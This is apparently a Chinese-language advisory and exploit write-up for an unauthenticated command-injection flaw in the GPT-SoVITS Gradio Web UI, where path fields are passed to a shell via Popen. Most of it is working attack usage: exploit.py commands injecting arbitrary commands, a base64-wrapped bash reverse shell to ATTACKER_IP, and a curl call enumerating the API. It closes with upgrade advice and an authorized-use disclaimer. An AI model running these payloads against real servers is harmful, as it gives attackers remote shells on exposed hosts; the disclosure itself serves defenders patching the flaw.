GPT-SoVITS 的 Gradio Web UI(webui.py)中存在未认证的远程代码执行漏洞。
音频处理辅助函数(open_asr、open_slice、open_denoise、open_uvr5)会将未经净化的 Gradio 文本框路径值直接拼接到通过 Popen(..., shell=True) 运行的 shell 命令中。路径仅会经过 clean_path() 处理,而该函数只会去除首尾的引号和空格——位于中间的 shell 元字符会原样保留。asr_opt_dir 字段甚至没有经过存在性检查,因此其中的命令替换 $(...) 会落入 -o "$(...)" 内,并以 Web UI 进程用户的身份执行。该 Web UI 默认不启用认证,因此只需一个请求即可完成利用。
<= 20250606v2pro9874(Gradio Web UI,无认证)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
被注入的命令会在服务器上执行;其输出不会返回,因此请使用反弹 shell(或将结果写入可读路径)来观察执行结果。asr_opt_dir 被包裹在 $(...) 中,因此无论是否安装了任何 ASR 模型,它都会通过命令替换执行。
open_asr 会构建并执行:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
Gradio UI 会在 /config 路径公开其 API 接口:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
升级到 GPT-SoVITS 20250606v2pro 之后的版本,切勿将 Web UI 暴露给不受信任的网络,也不要使用特权用户运行它。
仅用于授权的安全测试与教育目的。请仅针对您拥有或已获得明确测试许可的系统使用。